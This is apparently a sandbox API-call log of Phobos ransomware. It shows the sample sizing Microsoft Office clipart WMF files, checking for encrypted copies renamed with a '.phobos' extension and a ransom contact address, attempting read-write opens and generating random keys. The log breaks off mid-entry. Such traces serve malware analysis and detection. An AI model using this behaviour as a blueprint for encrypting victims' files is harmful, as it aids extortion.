GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0185780.WMF.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0185780.wmf.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0151.599] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0185780.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0185780.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0151.599] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x425faf8 | out: pbBuffer=0x425faf8) returned 1 [0151.599] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0185786.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0185786.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x564 [0151.599] GetFileSizeEx (in: hFile=0x564, lpFileSize=0x425fa98 | out: lpFileSize=0x425fa98*=39330) returned 1 [0151.599] CloseHandle (hObject=0x564) returned 1 [0151.600] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0185786.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0185786.wmf")) returned 0x220 [0151.600] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0185786.WMF.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0185786.wmf.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0151.600] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0185786.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0185786.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0151.600] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x425faf8 | out: pbBuffer=0x425faf8) returned 1 [0151.600] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0185790.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0185790.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x564 [0151.773] GetFileSizeEx (in: hFile=0x564, lpFileSize=0x425fa98 | out: lpFileSize=0x425fa98*=20662) returned 1 [0151.773] CloseHandle (hObject=0x564) returned 1 [0151.774] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0185790.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0185790.wmf")) returned 0x220 [0151.774] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0185790.WMF.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0185790.wmf.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0151.774] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0185790.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0185790.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0151.774] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x425faf8 | out: pbBuffer=0x425faf8) returned 1 [0151.774] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0187895.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0187895.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x564 [0151.775] GetFileSizeEx (in: hFile=0x564, lpFileSize=0x425fa98 | out: lpFileSize=0x425fa98*=3472) returned 1 [0151.775] CloseHandle (hObject=0x564) returned 1 [0151.775] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0187895.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0187895.wmf")) returned 0x220 [0151.775] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0187895.WMF.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0187895.wmf.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0151.775] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0187895.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0187895.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0151.776] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x425faf8 | out: pbBuffer=0x425faf8) returned 1 [0151.776] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0187921.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0187921.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x564 [0151.777] GetFileSizeEx (in: hFile=0x564, lpFileSize=0x425fa98 | out: lpFileSize=0x425fa98*=5000) returned 1 [0151.777] CloseHandle (hObject=0x564) returned 1 [0151.777] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0187921.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0187921.wmf")) returned 0x220 [0151.777] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0187921.WMF.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0187921.wmf.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0151.777] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0187921.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0187921.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0151.777] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x425faf8 | out: pbBuffer=0x425faf8) returned 1 [0151.777] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0188511.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0188511.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x564 [0151.777] GetFileSizeEx (in: hFile=0x564, lpFileSize=0x425fa98 | out: lpFileSize=0x425fa98*=10716) returned 1 [0151.778] CloseHandle (hObject=0x564) returned 1 [0151.785] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0188511.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0188511.wmf")) returned 0x220 [0151.785] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0188511.WMF.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0188511.wmf.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0151.785] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0188511.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0188511.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0151.786] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x425faf8 | out: pbBuffer=0x425faf8) returned 1 [0151.786] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0188513.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0188513.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x564 [0151.786] GetFileSizeEx (in: hFile=0x564, lpFileSize=0x425fa98 | out: lpFileSize=0x425fa98*=12292) returned 1 [0151.786] CloseHandle (hObject=0x564) returned 1 [0151.786] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0188513.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0188513.wmf")) returned 0x220 [0151.786] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0188513.WMF.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0188513.wmf.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0151.787] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0188513.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0188513.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0151.787] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x425faf8 | out: pbBuffer=0x425faf8) returned 1 [0151.787] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0188519.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0188519.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x564 [0151.788] GetFileSizeEx (in: hFile=0x564, lpFileSize=0x425fa98 | out: lpFileSize=0x425fa98*=5824) returned 1 [0151.788] CloseHandle (hObject=0x564) returned 1 [0151.788] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0188519.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0188519.wmf")) returned 0x220 [0151.788] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0188519.WMF.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0188519.wmf.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0151.788] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0188519.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0188519.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0151.789] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x425faf8 | out: pbBuffer=0x425faf8) returned 1 [0151.789] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0188587.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0188587.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x564 [0151.789] GetFileSizeEx (in: hFile=0x564, lpFileSize=0x425fa98 | out: lpFileSize=0x425fa98*=15196) returned 1 [0151.789] CloseHandle (hObject=0x564) returned 1 [0151.789] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0188587.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0188587.wmf")) returned 0x220 [0151.789] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0188587.WMF.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0188587.wmf.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0151.789] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0188587.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0188587.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0151.790] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x425faf8 | out: pbBuffer=0x425faf8) returned 1 [0151.790] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0188667.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0188667.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x564 [0151.790] GetFileSizeEx (in: hFile=0x564, lpFileSize=0x425fa98 | out: lpFileSize=0x425fa98*=16030) returned 1 [0151.790] CloseHandle (hObject=0x564) returned 1 [0151.790] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0188667.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0188667.wmf")) returned 0x220 [0151.790] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0188667.WMF.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0188667.wmf.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0151.790] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0188667.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0188667.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0151.791] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x425faf8 | out: pbBuffer=0x425faf8) returned 1 [0151.791] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0188669.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0188669.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x564 [0151.791] GetFileSizeEx (in: hFile=0x564, lpFileSize=0x425fa98 | out: lpFileSize=0x425fa98*=29602) returned 1 [0151.791] CloseHandle (hObject=0x564) returned 1 [0151.791] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0188669.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0188669.wmf")) returned 0x220 [0151.791] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0188669.WMF.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0188669.wmf.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0151.791] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0188669.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0188669.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0151.792] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x425faf8 | out: pbBuffer=0x425faf8) returned 1 [0151.792] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0188679.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0188679.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x564 [0151.792] GetFileSizeEx (in: hFile=0x564, lpFileSize=0x425fa98 | out: lpFileSize=0x425fa98*=13162) returned 1 [0151.792] CloseHandle (hObject=0x564) returned 1 [0151.792] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0188679.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0188679.wmf")) returned 0x220 [0151.792] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0188679.WMF.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0188679.wmf.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0151.792] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0188679.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0188679.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0151.793] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x425faf8 | out: pbBuffer=0x425faf8) returned 1 [0151.793] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0195248.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0195248.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x564 [0151.795] GetFileSizeEx (in: hFile=0x564, lpFileSize=0x425fa98 | out: lpFileSize=0x425fa98*=7332) returned 1 [0151.795] CloseHandle (hObject=0x564) returned 1 [0151.795] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0195248.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0195248.wmf")) returned 0x220 [0151.795] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0195248.WMF.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0195248.wmf.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0151.795] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0195248.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0195248.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0151.795] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x425faf8 | out: pbBuffer=0x425faf8) returned 1 [0151.795] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0195254.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0195254.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x564 [0151.798] GetFileSizeEx (in: hFile=0x564, lpFileSize=0x425fa98 | out: lpFileSize=0x425fa98*=4534) returned 1 [0151.798] CloseHandle (hObject=0x564) returned 1 [0151.798] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0195254.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0195254.wmf")) returned 0x220 [0151.798] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0195254.WMF.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0195254.wmf.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0151.798] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0195254.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0195254.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0151.798] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x425faf8 | out: pbBuffer=0x425faf8) returned 1 [0151.798] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0195260.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0195260.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x564 [0151.810] GetFileSizeEx (in: hFile=0x564, lpFileSize=0x425fa98 | out: lpFileSize=0x425fa98*=8314) returned 1 [0151.810] CloseHandle (hObject=0x564) returned 1 [0151.810] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0195260.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0195260.wmf")) returned 0x220 [0151.810] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0195260.WMF.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0195260.wmf.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0151.810] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0195260.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0195260.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0151.811] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x425faf8 | out: pbBuffer=0x425faf8) returned 1 [0151.811] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0195320.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0195320.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x564 [0151.811] GetFileSizeEx (in: hFile=0x564, lpFileSize=0x425fa98 | out: lpFileSize=0x425fa98*=29432) returned 1 [0151.811] CloseHandle (hObject=0x564) returned 1 [0151.811] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0195320.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0195320.wmf")) returned 0x220 [0151.812] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0195320.WMF.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0195320.wmf.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0151.812] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0195320.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0195320.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0151.812] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x425faf8 | out: pbBuffer=0x425faf8) returned 1 [0151.812] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0195342.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0195342.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x564 [0151.813] GetFileSizeEx (in: hFile=0x564, lpFileSize=0x425fa98 | out: lpFileSize=0x425fa98*=21328) returned 1 [0151.813] CloseHandle (hObject=0x564) returned 1 [0151.813] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0195342.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0195342.wmf")) returned 0x220 [0151.813] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0195342.WMF.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0195342.wmf.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0151.813] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0195342.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0195342.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0151.814] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x425faf8 | out: pbBuffer=0x425faf8) returned 1 [0151.814] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0195428.WMF" (normalized: "c:\\program files\\microsoft 